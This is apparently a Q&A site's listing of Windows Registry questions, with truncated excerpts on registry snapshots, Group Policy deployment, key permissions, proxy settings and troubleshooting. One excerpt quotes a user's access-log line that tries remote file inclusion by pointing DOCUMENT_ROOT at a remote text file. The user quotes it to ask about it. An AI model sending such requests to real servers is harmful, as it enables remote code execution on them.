The Windows Registry is a hierarchical database that stores configuration settings and options on Microsoft Windows operating systems. It contains settings for low-level operating system components as well as the applications running on the platform.
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How to make/compare filesystem/registry snapshots in Windows?
What's a simple way to get a list of all files installed/modified and keys added/removed by a Windows (XP, Vista or 7) program installer?
I'd like to take a before and after snapshot, and see what ...
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Best way to add HKCU keys and values for all existing users and all new users?
I need to add HKCU keys and values to all machines in a specific OU, for all existing user profiles and to the default profile. What's the best way to approach this?
I could enumerate and iterate ...
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What does registry setting EnableLinkedConnections do on a technical level?
Note: the base problem for me is to be able to access a network share that I (Win 7 admin user) have set up when I run an elevated program. Normally the elevated program will not have access to my ...
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Does the DisablePagingExecutive registry change have any actual effect?
On a number of machines in the past, across different versions of Windows (2000, XP, and no Vista), I've enabled DisablePagingExecutive to try and improve performance. In each case, and I've had ...
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How do I clean up the right-click context menu in Windows explorer?
Sometimes applications plug into the context menu that I get on right-click on files and folders in Windows Explorer. After some time this menu gets really messy and I just want to clean it up.
Can ...
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Change Permissions on Registry key via Command line
I am trying to edit this registry key via the command line - been searching around for ages but can't find anything.
Really stuck at the moment so any help would be appreciated a lot. I do not mind ...
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Sending DHCP specific vendor options to a Windows server
My goal is send some information (url and a one-time token) to a windows machine. It's working fine for GNU/Linux servers because I get the information from /var/lib/dhcp/dhcp.lease or similar. This ...
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Extract registry key from NTBackup System State backup
A Windows Server 2003 machine died recently but I need some information that was contained in the now-defunct server's registry. I have a "System State" backup file created by the Windows Server 2003 ...
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Changed value in Registry
Is there an application to track the changed reg key value, once we change setting in application?
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Good resources to learn about the Windows registry
Can you recommend any introductory material about the Windows registry?
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How do I configure proxy settings for LOCAL SYSTEM?
If I edit Proxy Settings through the Control Panel, the settings are stored in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable and ...\ProxyServer. These ...
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Powershell Registry value to be used as variable
I am looking on how to return one value from the registry. I only want the AGENTGUID value from this command.
$reg=reg query "\\$computer\HKLM\SOFTWARE\Wow6432Node\Network Associates\ePolicy ...
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Disabling “MyApp has stopped working” dialog
When an application crashes on Windows Server 2008 SP1, I get this message box:
MyApp has stopped working
Windows is searching for a solution...
How can I prevent this message box from appearing?
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Push new registry keys via group policy
Recently I have added registry keys in active directory and I need to push them via group policy instead of going to each PC to apply the new ones.
How can I push new registry keys (not modify ...
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delete registry key using wildcards
I'm hoping to find a way to delete registry keys based on wildcards using a batch file rather than writing some vbscript. Does anyone have an example?
I'm forced to proceed with MS's wonderful ...
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NTUSER.DAT and UsrClass.dat files building up by the thousands, why and can I delete?
I've noticed that my web server, 2008 Xen VM, gradually loosing free space - more than I would of though from normal use and decided to investigate.
There are two problem areas:
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lsass.exe memory leak on windows 2003 server
In the past month or so I noticed that lsass.exe has started to leak memory, getting to 500MB+ of ram in under a week after reboot. Before this I had never noticed it using any significant amount of ...
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Any suggestions of a good registry cleaner? [closed]
I just noticed that the Windows Registry on one of our computers is 180 MB (when exported to a .reg file). That seem large enough to cause a performance issue. That registry is probably 4 years old.
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Delete registry key via CMD script?
I'm want to edit an already production .cmd script file, to have the script delete a certain registry key in the Windows registry.
Firstly, is this even possible, and secondly (if that's not ...
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Is it possible to fix “Logon User Interface DLL acmsgina.dll failed to load”?
Here is the scenario: installing an update to ActivCard (6.1) to a Windows XP laptop. After the required reboot, Windows XP brings up the default blue background, waits for quite a long time and then ...
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How to disable Java across all browsers via registry?
With the known Java threat on the loose, I've pushed a GPO to disable Java within IE. However, I'd like to disable Java across all browsers. Java provides documentation on how to do this via their ...
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Is it possible, via GPO or other method, to turn Internet Explorer's intranet compatibility mode OFF across a domain?
Our school's VLE has a few problems when running in IE8/IE9's Compatibility View. Mainly it causes difficulties with uploading files.
This problem is easily remedied by un-ticking the Display ...
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How to automatically make a change to Outlook Microsoft Exchange Proxy Settings
I need to make a change on all computers in our domain. Specifically I need to make a change to the Microsoft Exchange Proxy Settings. Our users have Outlook 2010 installed.
These setting can be ...
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Searching windows registry (specifically) HKLM with powershell very slow
I've been doing searches on my registry and everything works well except HKLM. A search on HKLM takes hours and doesn't seem to work.
I'm using some powershell code from here
gci . -rec -ea ...
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Greater than or equal check when using Group Policy Preferences and Item Level Targeting in the Registry
I'm implementing some screen saver configurations via Group Policy Preferences (on Win7 Enterprise x64 desktops). The desired configuration is to have users be able to adjust their screen saver and ...
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Can registry keys be changed through webserver URLs?
So I was browsing through my website access logs recently, and noticed several attempts to do things like this
?page=pics//?_SERVER[DOCUMENT_ROOT]=http://www.wdiet.co.kr//skin_shop/.../cms/idf.txt??
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Deploy Registry Change
What is the best way to deploy a HKCU registry change for anyone who logs onto the machine. Someone mentioned to me Active Setup...but I am not sure.
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How to set permissions on registry keys from the command line?
There used to be the tool Regini.exe from the Windows 2000 Resource Kit to do this, but it is no longer supported by Microsoft. Reg.exe can't do it either.
Any ideas?
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Free tools for watching registry changes?
Are there any free tools to compare the Windows registry at point A to point B? I know of a number of commercial tools for this but I'm looking for a free utility. Right now I'm thinking about just ...
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MSI package for reg deployment
What is the best way to create MSI package to deploy a registry key over a network, rather than using GPO.
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Is there any way to read system hive files within a booted system?
Is there any way to get a copy of %systemroot%\system32\config\system, once the system is up and running? I know the OS puts a lock on this file to keep it from getting trashed, but all I need is to ...
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How to uninstall all Citrix driver from Windows Server 2008 R2 Guest if BSOD on safe mode?
I use Citrix XenServer 5.5 and on a Windows Server 2008 R2 Guest there is installed Xentools 5.5, for a year all works well. After a restart we get a BSOD with Stop Code 7B, it is a problem with the ...
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How to edit registry hives without live running
I have a windows Vista system that had the underlying disk partitions changed. The number and logical location of the partitions didn't change as far as I can tell). When it boots up it says I need ...
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IIS6 registry values in IIS7
I am looking for the location of the IIS6 registry values such as EnableNonUTF8, FavorUTF8, MaxFieldLength, and a few more in IIS7. In IIS6 they were in:
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Change group policy settings for accounts?
I am wondering if there is a way to change the group policy settings for accounts without using the GUI tools (GPMC or the GPO editor MMC snap in). In other words can I can change these settings via a ...
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Redirected folders, server migrations and properly moving users to a new server
I'm currently having a hell of a time with what seems like it should be a fairly simple project.
Basically, $employer has a bunch of remote sites with ancient hardware impersonating real servers, and ...
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Windows ADSI , WMI and Registry. How Do They All Relate With Each Other?
I have a work task which involves setting up Windows XP machines. I'm not a Windows user normally which is why I ask this question.
The tasks involved in setting up one of these machines involve ...
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Enable Internet Explorer Enhanced Security Configuration via Registry?
I need turn on Internet Enhanced Security feature, and need to do so using entries in the registry.
In my server this is working fine, I have tried to fine the relevant paths in the registry without ...
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Looking For A Reputable And Reliable Windows Registry Search and Replace Tool [closed]
I need to be able to search for registry data referencing my old profile and change it to my new profile. Using regedit works but is obviously slow as there is no replace, only search.
Any ...
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Is there a maximum size for the registry's data item?
I'm trying to edit a registry entry on a Windows Server 2008 R2 server and on all entries when you right click on the name and select modify it allows you to edit the Data field.
One entry, however, ...
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Where in the registry can I find the OS Name for Windows 2003?
I need to be able to read the registry and find the Edition of Windows 2003. I can find the edition of Windows 2008 and Windows 2008 R2 by looking into:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows ...
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How do you add a batch of registry entries to group policy?
For example I want to add Google Search as the default search service to IE. The seven registry entries are below. Do I really have to enter each one individually under User Configuration > ...
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Software restriction policies set in the registry don't update Local Group Policy
The joys of a Samba domain... First off Domain Group policy can't be used until Samba 4 arrives.
We need to setup Software Restriction Policies (SRPs) on most of the computers in our Samba domain ...
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Is it possible to reset FTDI virtual com ports enumeration, we easily get hundreds of COM ports in production environment
When producing devices that use a FTDI USB to serial chip to communicate with a Windows host, we get hundreds of COM-ports, since Windows seems to just increase the port number each time a new FTDI ...
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An I/O operation initiated by the Registry failed unrecoverably
Every 10 seconds or so, both our web servers (windows server 2003, running iis6), report the same errors in the event log.
> Event Type: Error Event
> Source: Application Popup Event
> ...
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How to correct “No value could be found for (Allowhotkey) that satisfies all lockdown requirements.”?
After updating a Windows XP SP3 machine to Citrix Receiver v3.3, the user is unable to launch any published applications. The error they got is:
No value could be found for (Allowhotkey) that ...
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Group policy to disable notifications of particular errors?
How do i disable the notifications of particular errors?
A little background to my issue. During the installation of the Kaspersky, it disables all the windows firewall for all except the domain. I ...
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Win7 - registry hack domain profile to local profile location
With Windows XP, if I wanted to add a user logging in locally on their computer to a domain and keep their local profile, I could change the profile location in the registry for the domain profile to ...
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Automated method to convert .reg registry file to reg.exe commands
Occasionally I need to put registry entries into batch files to use in login scripts, unattended installers, etc. While it's pretty easy to add one or two registry commands to a batch file using ...
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What is the registry key for Windows XP to disable Internet Connection Sharing?
What is the registry key for Windows XP to disable Internet Connection Sharing?
